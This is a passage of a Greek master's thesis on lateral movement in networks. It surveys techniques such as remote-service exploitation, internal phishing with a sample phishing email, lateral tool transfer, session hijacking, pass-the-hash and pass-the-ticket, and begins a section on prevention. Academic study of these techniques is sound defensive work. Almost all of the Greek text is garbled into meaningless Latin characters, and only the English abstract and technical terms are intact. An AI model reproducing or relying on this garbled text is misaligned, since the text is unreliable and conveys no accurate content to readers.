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AHAQZH ZYTTPA®EQN METANTYXIAKHZ EPIrAZIAZ

O1 kaTwOI uTToYEYPappévol, Ocodwpidou Mapia, pe apiBud untpwou cscyb2011 kai Mewpyiog
Aammrag pe apiBud pntpwou cscyb2016, @oitntég Tou [MMpoypdupaTtog METATTTUXIOKWY
Zmoudwyv «KYBEPNOAZO®AAEIA» T1ou TpAuatog Mnxavikwv  TANPo@OpPIKAG  Kal
YTroAoyioTwyv TnG ZXOANG Mnxavikwy Tou MavemmoTtnuiou AuTikAg ATTIKAG, dnAwvouv OTI:
«BeBaiwvoupe OTI €ipacTe ouyypageic autng TNG AIMTAWMOTIKNG Epyaciag kal KABe BorBeia Tnv
OTTOIa €iXAPE YIO TNV TTPOETOIYACIA TNG €ival TTANPWS AVAYVWPICHEVN KAl AVAQEPETAI OTNV
epyaoia. Ettiong, o1 61T01EG TTNYEG OTTO TIG OTTOIEG £YIVE XPrON OEDOUEVWY, IDEWV I AEGEWY, €iTE
OKPIBWG, €iTE TTOPAPPACTUEVEG, ava@EpovTal 0TO OUVOAS TOUG PeE TTARPN ava@opd OTOug
OUYYPAQYEIG, TOV KOOTIKO OIKO 1 TO TTEPIOBIKO, CUUTTEPIAGUBAVOUEVWY KAl TWV TTNYWV TTOU,
evleXoPévwg, XpnolpoTtroienkav atod 1o diadikTuo. ETriong, Befaiwvoupe 0TI AuTr n epyacia
EXel ouyypaei atrd €UAG ATTOKAEIOTIKA KAl OTTOTEAEI TTPOIOV TIVEUMATIKAG 1010KTNCIOG TOCO
OIKNG uag, 6co kal Tou Idpupartog. MapdBacn TNG avwTépw aAKAdNUAIKAS Mag €ubuvng

atroTeAei ouoiwdn AGyo yia TV avakAnon Tou TITUXIOU JOG».

O1 Anhouvreg,

Mapia @codwpidou Mewpylog AATTTag

H &yxpion g SOimAopatikng epyaciog 0ev LITOONAOL TNV ATOJ0YN TOV YVOLMDY TOV GUYYPOPE.

Kotd ™ ovyypaen mpnonkav ot apyé g akadnpaikng deovtoloyiag.
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1 Eicaywyn

O1 KuBepvoeTIBETEIC Kal T KUBEPVO-TTEPIOTATIKA TTOAAATTAQCIAZOVTAI TTAYKOOHiWG
Kal ol JEBodOI TTOU XPNOIUOTTOIOUVTAIl OTIG EVEPYEIEG AUTEG EXOUV Mia SIapKWG
e€eNlooopevn Taon. NapdAa autd, £Xouv avaTITUXBEi CUYKEKPIPMEVA JOVTEAD KOl
MEBODOI ATTEIAWV OTOV KUBEPVOXWPO TA OTTOIA EKPETAAAEUOVTAI CUYKEKPIUEVEG
TEXVIKEG ETTIOECEWYV KAl TAKTIKES YA VA TTETUXOUV TO OTOXO0 TOUG. O1 TOKTIKEG AUTEG
€ival KATNYOPIOTTOINUEVES KAl QVOPTNPEVES O€ Wia avoixTh, TTpooBdaciun o€ 6Aoug
Bdon pe okotrd TNV £ykaipn €tiAucn / A kal atro@uyn TTpoBAnudTwy TTou Ba
odnynoel o€ Evav ac@aAE0TEPO KUPBEpvoXwpPo [1].

2TN OUYKEKPIUEVN Epyacia Ba e0TIAOOUUE OTNV TOKTIKI EKMETAAAEUONG TWV
ETTOETIKWYV JOVOTTATIWV VOGS BIKTUOU, £XOVTAG WG dEBOUEVN TNV ApXIKr TTpdoacn
o€ auTo, avaAuovTag KABe TTIBavr) TEXVIKN £TTIBEONG KAl KATAAyovTaG O€ €va TTAQICIO
EVTOTTIONOU TOUG KOl UTTOAOYIOUOU TNG ECWTEPIKAG ETTIBETIKNG ETTIPAVEIAG,
XPNOIMOTTOIVTAG epyaAcia avorxTou Kwdika. O1 TEXVIKES €TTIOECEWY TTOU Ba

OOKIJOAOTOUV avaAuovTal TTAPAKATW.

NE€eic KAEIOIA: TTAEUPIKES KIVAOEIS, ETTIOETIKA UIOVOTTATIA, TAKTIKES, TEXVIKES ETTIOETEWV,

ETMTIOETIKN ETTIPAVEIQ.
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2 Abstract

Cyberattacks and cyber incidents are multiplying worldwide and the methods used in
these actions have an ever-evolving trend. Nevertheless, specific cyber threat
models and methods have been developed which take advantage of specific attack

techniques and tactics to achieve their goal [1].

In this project we will focus on the tactics of exploiting the aggressive paths of a
network, having as a given the initial access to it, analyzing every possible attack
technique and resulting in a framework for locating them and calculating the internal
offensive surface, using open source tools. The attack techniques that will be tested
are discussed below.

Keywords: lateral movement, attack paths, tactics, attack techniques, attack surface.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
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1 Lateral Movements - TakTikr) MNAeupikwv
Kiviioewv

Q¢ TOKTIKN TTAEUPIKWV KIVIOEWV VOEITAI N TEXVIKI KATA TNV OTTOia O £TTITIOEPEVOS
aPOU £xEl TTAPEI APXIKN TTPOCRACN, apxilel va KIVEITAl EVTOS BIKTUOU, OUVABWG
“‘aBopufa”, TTPOOTTABWVTAG VO AVAKAAUWEI TO JOVOTTATI TTOU Ba TOV 00NYHOEI OTO
OTOXO TOU. AUTO UTTOPEi Va TTEPIAAUBAVEI, HETAEU AAAWY, TTOAAQTTAEG TTEPIOTPOPEG
MEoa OTO OUCTNPA TTOU €XEI EI0BAAEI, EYKATACTAON EPYAAEIWVY yia aTTOKTNON
QTTOMAKPUOUEVNG TTPOCRAONG, KABWG Kal TTPOCTTABEIa avAKTNONG CUVBNUATIKWY JE
Ta oTToia Ba KivnBei “BabuTepa” oTo dikTUO. H TOKTIKA QUTA ETTITPETTEI OTOV
ETMTIBEPEVO VA ATTOPEUYEI TOV EVTOTTIOMO TOU AKOMN KAl aV KATAPEPOUUE VA
QVOKaAUWOoUUE TNV apxIKn TNy TTapapiaong Tou dikTuou. Kar’ auTtdv Tov TpOTTo 0
EMTIOEPEVOG, OTTWG AVOPEPETAI TTAPATTAVW, UTTOPEI va KIVEITAI EVTOG DIKTUOU Yia
€BOOMADBEG ] AKOUN KAl PIVEG WOTE VA ATTOKTACEI TTpOoBacn o€ ayabd peyaing
agiag. 21nv EIkOva 1 gaiveTal TTwg -0€ YEVIKEG YPANMEG- gival duvaTdv va KivnOei

évag eMTIOEPEVOG a@OU OTTOKTACEI apXIKh TTpdolaaon.

Emimiféuevog

ﬁ

o
1% Srakopotng Apxikn TTpéoBacn

Tou tapaPlaotnke

Evamébeon kakéBoulou
AoyiopikoU

Eikova 1 MAeupikn Kivnon emimbéugvou ae éva SikTuo
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‘Eva KAAOIKO TTapddelyua eKUETAAAEUONG ETTIOETIKWY HOVOTTATIWV ATTOTEAEI N YVWOTH
kal etTikaipn uéEBodo¢ Ransomware [2]. To Ransomware €ival pia pop@r) KakofouAou
AOYIOUIKOU TTOU €X€I OXEDIAOTEI YIA TNV KPUTITOYPAPNON ApXEiWV O€ YIa CUOKEUN,
KaBIoTWVTAG TUXOV apXEia Kal T OUOTRAPaTa TTou Baacifovral o autd axpnoTa. Ol
KAKOBOUAOI, EKJETAAAEUOUEVOI TA ETTIBETIKA HOVOTTATIA, EVTOTTICOUV TO OTOXO TOUG,
KPUTTITOYPa®OUV TTOAUTIMA -yIa TOV KATOXO TOUG- QPXEIQ KAl 0T OUVEXEIa (NTouvV
AUTpa pE avTAAAQYHa TV ATTOKPUTITOYPA®NON AuTWY TWV apxeiwv. 2tnv Eikdva 2

avatrapioTaral yia Kivnon T€Tolou €idoug.

Evarmé8sonRansomware
8 it 0€ 600 TTEPICTETEPOUG
EVATTGOEON o *a, HIY yiveral

Ransomware, %4

R ——

J—< NAevpikikivnon

Emimi0éuevog

O xpriom¢ ekTeAEi KAKOBOUAO
N AOYIOHIKO TTOU QTTECTAAN
“ péow email

Eikova 2 Evamré6son kakoouAou AoyiouikouU uéow TTAEUPIKAS Kivnong SIKTUOU

2 Texvikeg MNAsupikwy Kiviioswyv

O1 TEXVIKEG TTAEUPIKWYV KIVACEWV Eival TEXVIKEG KATA TIG OTTOIEG O ETTITIBEUEVOG
TTPOCTTOBEI ATTONAKPUOPEVA VA ATTOKTHOEI TIPOCROoN Kal va €I0€ABEI OTO BiKTUO
MOG WaTE va PTTopEl va KivnBei o€ autd . MNa va TTETUXEI TO OTOXO TOU EEEPEUVEI TO

OiKTUO, BpioKel TO adUvaTO GNUEIO, TO OTTOI0 WAXVEI KAl OTN CUVEXEIQ HECW auTOU
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OEOAQPIAQY MAPIA — AATITAZ TEQPTIOZ

QTTOKTA TNV €MOUPNTA TTPOCoRacn o€ autd. O TPOTTOG ETTITEUENG TOU OKOTTOU TOUG

TTOAAEG QOPEC OUUTTEPIAQUBAVEI TNV £EEPEUVNON OAWV TWV CUCTANATWY TOU BIKTUOU

KaBwg Twv Aoyaplaopwy Ta oTroia TTPooTTabei va Kepdioel TOV EAeyX0. NMOAAEG pOpEg

gival duvaTdv va eyKaTaoTROEl AOYIOUIKO JE ATTOTEAEOUA VA ATTOKTACEI TTPOCRAcn

Kal EAeyx0 Tou DIKTUOU KAl VA JTTOPEI va XPNOIKMOTTOINCEl OTOIXEIO KAl AEITOUPYIES TOU

OIKTUOU. OI TEXVIKEG TWV TTAEUPIKWV KIVAOEWV [1] £xouv KaTnyoploTtroinBei Kai

avaAuovTal wg ¢NG:

2.1 EKJETAAAEUON UTTNPECIWY ATTOPNAKPUOHEVNG TTPOCRAONG.

Eikova 3 EkuetaAcuon Ymnpeoiwv
ATTOUAKPUOUEVNS ZUVOEONS

‘Evag emTIBEPEVOG dUVATAI VO EKUETAAAEUTEI OOTOXIEG
TWV UTTNPECIWV ATTOPOKPUOUEVNG TTPOCRAONG, EITE
AUTEG OQEiNovTal o€ OQAAPATA AOYIOMIKOU EiTE O€
OQAAUATA TOU AEITOUPYIKOU OUCTAPATOG EITE AKOUA KAl
o€ o@AAuarta Tou idlIou Tou TTUPI VA TOU CUCTHHATOG. 2€
KAOE TTEPITITWON O EMTIOEPEVOG EKTEAEI KWOIKA TOV
OTTOI0 EAEYXEI O IDIOG PE ATTOTEAEC A VA TTAPEI
TTPOCBAcN OTO ATTOUAKPUOHUEVO GUCTNUA KOl KATOTTIV

va KivnOei TTAeupIK& o€ auTo.

Etikaipa Trapadeiyparta 1ET0I0U €i00UG EKPETAAAEUONG
atmmoteAoUv Ta yvwoTtd WannaCry [3] kai Emotet [4]. To
WannaCry cuykaTtaAéyeTal oTnv opada Twv
Ransomware kai ekpeTaAAeUETalI TO SMBV1 [5]
(EternalBlue) TrpwTdKoAAO yIa va e6atmAwBei o€ dikTuQ,
OTA OTTOIA UTTOPEI OTN CUVEXEIQ VA EKTEAETEI AAANEG
AEITOUPYiEG, OTTWG BIAKOTTI UTTNPECIWYV KOl QVAOTOAN
TNG AVAKTNONG TOU CUCTAMATOG. ApWwvTag JE avaAoyo
TPOTTO, TO Emotet ekueTaAeUETAI TPWTATNTEG TOU SBM

TIPWTOKOAAOU Kal KIVEITAI TTAEUPIKA OTO OiKTUO.
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2.2 21oxeupévo HAektpovikd Wapeua

O emmBEPevog o€ auTr TNV TTEPITITWON ATTOKTA TOV EAEYXO TOU NAEKTPOVIKOU
TaxudpouEiou VOGS XpPaTn, MEAOUG KATTOIOU OpyavIGHOU Kal TOV XPNOIUOTIOIE yia va
aTTOOTIACEl TTANPOYOPIES ATTO XPNOTEG-PEAN TOU iBIOU OpyavIoUOU, AQUEAVOVTAG TNV
mMOavoeTNTa Va TIG avTAROEl hIag Kal To BUua Ba Tov Bewpnoel wes Eykupn TTnyn. AuTth
n pEB0DOG ival TTOANATTAWY oTadiwV. ApXIKA aTTOOTEAAETAI Eva aAnNBO@AVEG PVUUO
NAEKTPOVIKOU TaXUDPOUEIOU, TO OTT0iI0 ¢NTA aToIxEia (dvoua Kal KwdIkoug xpriotn). O
XPNOoTNG TTEQPTEI OTNV TTAYida Tou £MITIOEUEVOU, BiVEl TA OTOIXEIO TOU KAl £TO1 ATTOKTA
apxIKn TTpoéoBacn o€ auTtd o0 KAKOBOUAOG xprioTng. Katdtv kal agdoov o
eEMTIOEPEVOG £xEl TTAPN TTPOORACN OTO NAEKTPOVIKO TaXUDPOUEIO TOU XProTn,
€YKABIOTA KaKOBOUAO AOYIOMIKO, Kal KIVEITAI TTAEUPIKA PEXPI VO KATOKTAOEI TO OTOXO
TOU. Z€ ETTOPEVO OTADIO, O EMTIBEPEVOS UTTOOUOUEVOG TOV TTPAYMATIKO XPHoTn,
OTEAVEI EK JEPOUG TOU VEA PNVUPATA NAEKTPOVIKOU TOXUDPOWEIOU, UE OKOTTO va
avTtAAoE€l 600 TTEPIoOOTEPN TTANPOQOpPIa yiveTal, yadi ue ouvlnuaTIKa GAAwWVY
XPNOoTWV. OucIaoTIKA TTOAATTAACIALE TNV TTAPOUCIia TOU O€ éva OIKTUO XWPIg
wOoTOOO va yivetal avTIANTITOC TTapa HOVO TN OTIYME TTOU Ba eKTEAECEI TO OKOTTO TOU.
‘Eva Tapddeiypa 1€Toiou aAnBo@avous unvUPaTog NAEKTPOVIKOU TaXUdPOEiou

@aivetal oTnv Eikéva 4.

Mail Contacts Calendar Tasks Briefcase Open Drive Preferences VERIFY YOUR EMA [

Close Reply | ReplytoAll | Forward Archive | Delete | Spam | | #h» | ¢f v | Aciions = ] E’ B
VERIFY YOUR EMAIL ACCOUNT July 20, 2016 7:38 AM
& o | dmiisirator” <EeAZR

Email Team

Verify your email address

Dear User,
To finish verification about this Email account, we just need to make sure this email address is yours, Because your two incoming mails from your contacts were
placed on pending status due to the recent upgrade .

Click here to verify Your Account Now, Or we will De-activate it.

If verification is not performed within 12Hours we will be forced to De-activate your account.

Thanks,
The Email account team

Eikéva 4 Mapaderyua phishing email

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia



ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

2.3 T1AeupIkA PHETAQOPA EPYAAEiWV

H apxikn TpdoBacn o1o dikTUO £VOG KOKOBOUAOU XPrOTN UTTOPEI VO PNV ETTITPETTE

TNV TTPOCBaCN oTov TEAIKO Tou 0TdX0. MTTopEi Spwg auTd va yivel oTadIakd Katd Tn

OIApPKEIa P0G KAKOBOUANG eTTixeipnong. 'ETOI UTTOPED va EKTEAET QVTIYPAPES apXEiwV

aTTd TO £€va oUCTNPA OTO AAAO EVIOXUOVTOG TNV TTAEUPIKA Kivnon Tou €MITIOEUEVOU,

KAl KATAAYOVTAG £€TO1 OTOV ETTIOUPNTO OTOXO EKPETAAAEUOVTAG EYYEVH TTIPWTOKOAAQ.

TETOIO TTPWTOKOAANQ UTTOPEI VA gival:

MpwTdKoAAO dlauepiouoU apxeiwv SMB

MoToTToINUEVOGS BIAUOIPACUOG APXEiWV HETAEU DIaXEIPIOTA KAl AEITOUPYIKOU
ouoTiuartog (Authenticated Admin Shares over SMB protocol)
MPwTOKOAAO UTTNPECIWV OTTOPOKPUOPEVNG TTIPAvEIas epyaaiag (Remote
Desktop Protocol) [6]

MpwTdKOAAO pETAPOPAG apxEiwv atro Kal TTpog server (FTP) [7]
MPpwTOKOANO PETAYOPAG APXEIWV ATTO KaI TTPOG Server JEoW
KpuTrToypa@nuévou kavaAiou (SFTP) [8]

MPWTOKOAAO HETAPOPAC APXEIWV HECW KPUTITOYpaPnuévou KavaAiou (SCP)
[9]

MpwTOKOANO PETAPOPAG KAl CUYXPOVIOHOU apXEiwv ouvhBwg JETagU

TEPMATIKWYV KAl XWpwV atmmodrikeuong apxeiwv (RSync). [10]

™
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Eikova 5 lNAeupIkn HETAQOPA pYAAEIWY EKLUETAAAEUOVTAC EYYEV] TTOWTOKOAAQ
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2.4 TMeipateia ouvedpiag ATTOUAKPUOPEVNG OUVOEONG

Me Tnv €vvola TTeIpaTeia CUVEDPIOG ATTOPAKPUOUEVNG OUVOEDNG VOOUE TV
KATAoTAON KATA TNV OTroia évag €I0BOAEAG TTAipVEl TOV EAEYXO TNG OUVEDPIAG TTOU
EXOUME avoigel ouvdEOVTAG TOV UTTOAOYIOTH POG PE KATTOI0 OToIXEIO DIKTUOU,
EKMETAAAEUOUEVOG TPWTOTNTEG TWV TTPWTOKOAWY ATTOUAKPUOUEVNG ETTIPAVEING
epyaoiag. OuoiaoTikd o eI0BoAéag avapével va dnuioupynOei ETTITUXWG pia TETola
ouvdEDN aTTO TOV VOUIMO XPNOTN Kal TNV TTopeia Tou “KAEREI” Tn ocuvedpiaon
d1aTNPWVTAG TN KAl AEITOUPYWVTAG avTl auTou. AuTé PTTOPEI va Yivel PE TIG akOAouBEeg
2 OuVvedpIEG:

e 2uvedpia SSH To SSH [11] 4 aAiwg Secure Shell, gival pia ouvedpia TTou
XPNOIUOTTOIEITAI OTA AEITOUPYIKA OUCTAPATA Linux kal Mac cUu@wva Je TNV
oTToia £€Vag XPAOTNG PTTOPEI va TTapEl atTouakpuouévn TTpéoacn o€ éva
ouoTnua O10 HECW KPUTTTOYPAPNUEVOU KavaAiou, a@ou €xel TTponynoeEi
QUOEVTIKOTTOINGT) TOU E€iTE JE CUVONUATIKA, €iTE JE KAEIDIA QCUUUETPNG
KPUTTTOYPAPNONG, EITE YE TTIOTOTTOINTIKA.

e 2uvedpia RDP To Remote Desktop mrpokeITal yia pia XapakTnpPIoTIKA
ouvedPia OAWY TWV AEITOUPYIKWY CUCTNUATWY KATA TNV OTTOIA TTAPEXETAI
UTTNPECIO ATTOPAKPUOPEVNG ETTIPAVEIONG EPYATIAG JE YPAPIKO TTEPIBAAAOV.
YTTOKAETITOVTAG TN OUVEDPIA O ETITIOEPEVOG UTTOPEI VO EPYOOTEI, O€ QIAIKO,
yPa@IKO TTEPIBGAAOV, Kal va A&IToupyrioel avaAoya Pe Ta SIKAIWPOTA TOU

XPNoTN TWV QVTIOTOIXWV CUVONUATIKWY TTOU €XEI OTNV KATOXN TOU.

2.5 ATTOUOKPUOUEVEC YTTNPEDIEC

‘Evag KaKOBOUAOG XprioTnG UTTOPEI va UTTOKAEWEI £YKUPOUG AOyapIaooUC XpNOTWY
Yl va auBeVTIKOTTOINOEI 0€ UTTNPETIEG ATTOPAKPUOUEVNG TTPOCRACNG KAl VO
AEITOUPYAOEI AVTI QUTWV. TETOIEG UTTNPETIEC PTTOPEI va gival peTagu dAAwyv, To RDP,
SMB, SSH, 10 telnet, kai To VNC. AvaAuTIKOTEPQ:
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e RDP g uttoAoyIOTEG 1] OTOIXEIQ DIKTUOU TTOU TO UTTOOTNPICOUV TO
OUYKEKPIPEVO TTPWTOKOAAO, £vag ETTITIOEPEVOG JE CWOTA AVAYVWPIOTIKA
OTOIXEia PTTOPEi va cuvOEDEl ATTOUOKPUOUEVA KAl VA ATTOKTAOEI TTIPOCRaon
OTO OTOXO TOU.

e SMB / Server Message Block. Npoékeitail yia TTpwTOKoAAO diauoipacuou
apxeiwv atréd 1o diaxeipioTA Tou dIkTUoU. Me Ta KAatdAAnAa cuvBnuaTika o
KAKOBOUAOG xprioTng duvaTtal va aAANAETTIOPACEl HE AUTO TO DIOUEPIOHO.

e DCOM Distributed Component Object Model [12] MpdkeiTal yia AoyIoHIKO
NG Microsoft, diadoyxo Tou Network OLE, cUu@wva PE TO OTTOI0 ETITPETTETAI
aTro £vav UTTOAOYIOTH) va eKTEAET TTPOYPANMATA JECW TOU OIKTUOU O€
OI0QOPETIKO UTTOAOYIOTA oAV TO TTPOYPANMA va eKTEAEITAI TOTTIKG. Katd T
dladikaoia cuvaAAayng (transaction) YETAGU 2 AVTIKEIMEVWV dNUIOUPYEITAl TO
yvwoTo dllhost.exe oTig¢ diadikaoieg Twv Windows. Me 1n xprion KatdAAnAwv
ouvONUATIKWYV £vag KakKOBOUAOG XproTnG MTTOPE va TPEEEl TTPOYPAUMOTA OTOV
QTTOMOKPUOHUEVO UTTOAOYIOTH.

e SSH (Secure Shell) ZUppwva pe 1o TTPWTOKOAAO SSH, utTopouv va
EKTEAOUVTAI EpYATiEC JE AOPAAEIO HECW ATTAOU KAVOAIOU ETTIKOIVWVIOG aPOU
TTPWTA dnuIoupynBEi yEoa O aUTO, KPUTITOYPAPNUEVO KEAUPOG ETTIKOIVWVIAG.
O1 epapuOYEG TTOU XPNOIYOTTOIOUV TO TTPWTOKOAAO SSH BaacifovTal oTnv
QPXITEKTOVIKI) TEPUOATIKWV-OIAKOUIOTH, ouvdéovTag pe SSH ouvABwg €va
TEPMATIKO PE Evav OIAKOUIOTH. ATTOKTWVTAG Ta KATAAANAa ouvlnuaTiké o
EMTIOEPEVOC UTTOPET KAl TTAAI va ATTOKTACEI TTPOCGRACT OE ATTOPNOKPUOHEVOUG
OTOXOUG.

e VNC (Virtual Network Computing) [13] MpdkerTal yia €va cuoTnua
OlaPoIPaCHOU ETTIPAVEING Epyaciag, aveEapTHTOU TTAATQOPUAC TO OTTOIO
XpnoigoTrolgi To TTPwWTOKOANO Remote Frame Buffer (RFB) [14] yia Tov
QTTOMAKPUOUEVO EAEYXO VOGS GAAOU uTTOAOYIOTH. AUT Oonuaivel 6T N 086vn,
TO TTANKTPOAQYIO KQI TO TTOVTiKI €VOG UTTOAOYIOTH UTTOPOUV Va
XpnoigotroinBouv atmd améoTacn armmod £vav aTTOUaKPUOUEVO XPHOTN.
Mpoypduuara Tou Xpnoiyotroiouv To VNC ptmopouv va XpnoiuoTroinfouv
KAKOBOUAWG TTapéxovTag Ta KATAAANAa ocuvBnuaTtikd.

e Windows Remote Management (WinRM) [15] MpdkeiTal yia uAoTToinon Tou
TTpwTokOAAoU WS-Management tng Microsoft, cUug@wva Pe To OTT0I0

EMTPETTETAI N DIOAEITOUPYIKOTNTA TOU UAIKOU KAl TOU AOYIOUIKOU OIA@OPETIKWY

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia


https://docs.microsoft.com/en-us/windows/win32/winrm/portal

ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

TTpounOeuTwv. MNMapéxel évav Kovo TPOTTO 0€ CUCTHUATA YIO METAEU TOUG
TTpooBacn kal aviaAllayr SIaxEIPIOTIKWY TTANPOPOPIWY. AUvaTtal va TTapEXETAI
TTANPO@OpPia UNIKOU Kal AOYIOUIKOU aKOUa Kal av auTd £XOUV AEITOUpPYIKA
ouoThpara TEpav TG Microsoft. ZuvABwg XpnoIPOTTOIEITAI ATTO DIAXEIPIOTEG
YO VO QUTOUATOTTOINOOUV EVTOAEG yia TRV dlaxeipion Twyv dlakouioTwy. Mg Ta
KataAAnAa oToixeia kal e epyaleia ypauung evioAwv (command line tools)
gival duvaTdv £vag KAkKOBOUAOG XprioTNG VA ATTOKTAOEI XPrOIMEG DIAXEIPIOTIKEG
TTANPOPOPIES ) KAI VA TIG TTAPATTOINCEI OKOTTIHWG.

e Telnet (Teletype Network) [16] To telnet, éva atmd Ta TTPWTA TTPWTOKOAAQ

ETTIKOIVWVIAG, TTAPEXEI ETTIKOIVWVIA PE MIA ATTOUOKPUOUEV OUOKEUN N
OIaKOMIOTH dIa HEOW YPAUMNG eVTOAWV. MNapéxel aupidpoun eTTikoIvwvia 8byte
KATO TNV OTTOia 0 XPAOTNG dUvaTal va EKTEAECEI EVTOAEG. XPNOIYOTTIOIEITAl
ouvnRBwg yia atrouakpuouévn diaxeipion f apxikn pubuIon cuokeung. Etreidn
avaTTuxenke TTpIv TTOAAG xpovia (1969) 1o Telnet atrd pbévo Tou dev
XPNOIMOTIOIEI KaWia JOp® KPUTITOYPAPNONG, KABIOTWVTAG TO EETTEPACHUEVO
Kal un ac@aAéc. ‘Exel avrikataotaBei o€ peyadAo Babud atrd 1o TpwTOKOAAO
Secure Shell (SSH).

2.6 Avatrapaywyr KakKOBouAou AOYIONIKOU OTTO QTTOCTIWHEVA
Méoa atroBrikeuong

H TAcupIKA peTOKIVNON €VOG ETITIOEPEVOU O€ €va OIKTUO PTTOPEI va YiVEl
METAPEPOVTAC KAKOBOUAO AOYIOUIKO aTTd UTTOAOYIOTH O€ UTTOAOYIOTH, 1] AKOUa aTTd
OiKTUO O€ BIKTUO (TTX, EEXWPIOTO BIKTUO ACPAAEIaG ATTOKOPUEVO aTTd TO BIAdIKTUO)
METATPETTOVTAG TO KAKOBOUAO AOYIOUIKG O€ QUTO-EKTEAECIMO KAl AVTIYPAPOVTAG TO O€
aTTO0TTWWHEVO PECO atroBrikeuong (usb stick). ‘ETol évag xproTng duvaral, dBeAG Tou
VO TO HETAPEPEI KAI VA JOAUVEI TTEPAITEPW OTOIXEIA TOU DIKTUOU Tou. AKONA Kal va
MNV €ival aUTOEKTEAEDIUO TO apXxeio, Ba gival aiyoupa aAnBo@aveég €101 WOTE KATTOIA

OTIYMA O XPAOTNG va £6aTTaTNOEI KOl VO TO EKTEAECEL.
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2.7 EpyaAcia Avamtuéng Aoyiopikou

210 QiKTUA PMEYAAWY ETTIXEIPNOEWV €ival oUVNOEG va UTTAPYXOUV £pYAAEia avaTTTugng
AoyIouIKOU Kal diaxeipiong SIKTUOU TA OTTOIA €ITE €ival ECATOUIKEUPEVA KAl
OnMIoUpYNUEVA ECWTEPIKA, EITE €ival ayopaouEVa aAAG TTETTAAQIWMEVA. 2QV
atToTéEAEOUA, AUTA Ogv UTTOOTNPICOVTAI TTAEOV KOl TTAPAPEVOUV EUAAWTA O€
KAKOBOUAEG €MBETEIC. 'ETOI, O ETTIOEUEVOG ITTOPET VA ATTOKTAOEI DIOXEIPIOTIKN
TTPOCPBacn OTO OIKTUO EKUETAANEUOPEVOGS TIG TPWTOTNTEG TWV AOYIOUIKWYV KAl VO

KivnOei TrapatrAeUpwe oTo BiKTUO.

2.8 lMNapaTtroinon Alapolpacpévwy Apxeiwv

O1 KoIVOXpPNOTOI XWPEOI aTToTEAOUV onuEio EVOIOPEPOVTOG yia évav emITIOEUEVO. Me Ta
KataAAnAa dikalwuata XpRoTn, apxeia Tou BpiokovTtal o€ dIaUOIPACUEVOUG
OIKTUAKOUG OIOKOUG A YEVIKA O€ BIadIKTUOKOUG ATTOBNKEUTIKOUG XWPOUG ITTOPOUV va
TTapATroIinBouV TTPOCBETOVTAG 0€ AUTA KAKOBOUAO KWwdIKa. OTav o VOUINOS XproTng
Ta avalnTAoEl Kal Ta EKTEAETEL, JETAPEPEI TTAPAAANAQ TO KOKOBOUAO AOYIOUIKO
QVOiyovTag PE AuTOV TOV TPOTTO TOV OPOPO OTOV ETITIOEPEVO YIa va KIvNBEi TTEpaITEPW

Méoa OTO BiKTUO.

2.9 Xpnion EvaAAakTikou YAikou AuBevTikoTroinong

To 18aviké yia Evav emMTIBEPEVO €ival va ATTOKTHOEI Ta ouvOnuaTIKA VOGS XproTh Kal
OKOPa KaAUTEPQ VOGS DlaxelpIoTh. OPwg eKTOG atrd To dvoua XProTn Kal ToV KWAIKO
MTTOPEI VA TTPOCTTEPACEI TO OTABIO TNG AUBEVTIKOTTOINCONG XPNOIMOTIOIWVTOG
EVAAAAQKTIKA UAIKO TTOU QVTIOTOIXEI 0T oUuvONUaTIKA, OTTwG To hash Tou Kwdikou, Ta
kerberos tickets, KwAIKOUG TTOU ETTAVA-XPNOCIKNOTTOIOUV O XPOTES VIO AAAEG EUAAWTEG

EQPAPMOYEG, | akOUA Kal ouvedPieg TTou Oev £Xouv AREEl akOpa. AVOAUTIKOTEPQ:
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e Pass the Hash (PtH): O emmBéuevog uTToKAETTTEI TO hash Tou KwdIKoU evog
XpPNnoTn (TrapakoAouBwvTag TNV Kivnon SIKTUOU) Kal TO XPNOIUOTTOIEI avTi TOU
KWOIKOU aTTAoU Keluévou (cleartext) o€ TTEPITITWOEIS AUBEVTIKOTTOINONG OTTOU,
KaTd Tov €AgyX0 TNG TTPOoBaong, 1o cleartext password ptropei va
TTOPAKAP@OEi Kal va xpnoiyoTtroinBei avti autou, To hash.

e Pass the ticket (Kerberos): H auBevtikoTtroinon Xxpnotwv péow kerberos
xpnoigotrolei tickets oe deuTepo aTAdIo auBevTikoTToinoNG. O1 KATOXO!I TETOIWV
tickets €xouv TTpOCBACN OTA CUCTANOTA XWPIG va XPEIGLoVTal TA
ouvenuarTikd. ZuvhBwg n uttokAoTm (forging a session key) Tétolwv tickets
YIiVETQI yIO VO QTTOKTAOEI O ETTITIBEUEVOG APXIKN TTPOCROCN o€ £va oUCTNUA.

e Application Access Token O emITIBEUEVOG EKUETAAAEUOPEVOG TIG KOKEG
TIPOKTIKEG TWV XPNOTWV (ETTAVAXPNOIKMOTTOINCN OTOIXEIWV AUBEVTIKOTTOINONG
o€ d1d@opa TTPOYPAUUATA) KABWG KAl EUTTABEIEG AOYIOUIKOU, UTTOKAETTTEI
oToIxeia auBevTikoTToiNONG XpNoTWV (cleartext passwords, hashes or tokens)
ATTO EQAPHOYEG KOIVWVIKWY OIKTUWV Kal OXI HOVO, Kal T XPNOIYOTIOIE YIa va
Tapel TpdoRacn o€ UTTNPETIES, TTANPOPOpPIES R oToIXEIO DIKTUOU TO OTTOIO
OTOXEUEI.

e Web Session Cookie: 2Tnv TTEPITTTWON QUTA O ETTITIOEUEVOG UTTOKAETTTEI
ouvedpieg OTIG OTTOIEG Evag XPHOTNG £xel AdN auBevTIKoTToINGEI Kal
TTapapévouy evepyEG. Auvaral €TTiong va UTTOKAEWEI session cookies yia va

QUBOEVTIKOTTOINBEI O€ EPAPUOYES KOl UTTNPETIES 1I0TOU.

3 ATTOTPOTIN TTAEUPIKWYV KIVI|OEWV

MNa va atro@UuyoupEe OTTOIOBATTOTE TTAEUPIKK] Kivnon evTOG TOu OIKTUOU Pag, 1) akOua
KAl VO aTTOTPEWOUNE TNV Kivnon Tou €MTIOEPEVOU PECQ O€ auTd, Ba TTPETTEI APXIKA va
OTTOKTAOOUME €TTiyvwOon TNG Katdotaong Tou TTEPIBAAAOVTOG TOU BIKTUOU. Oa TTPETTE
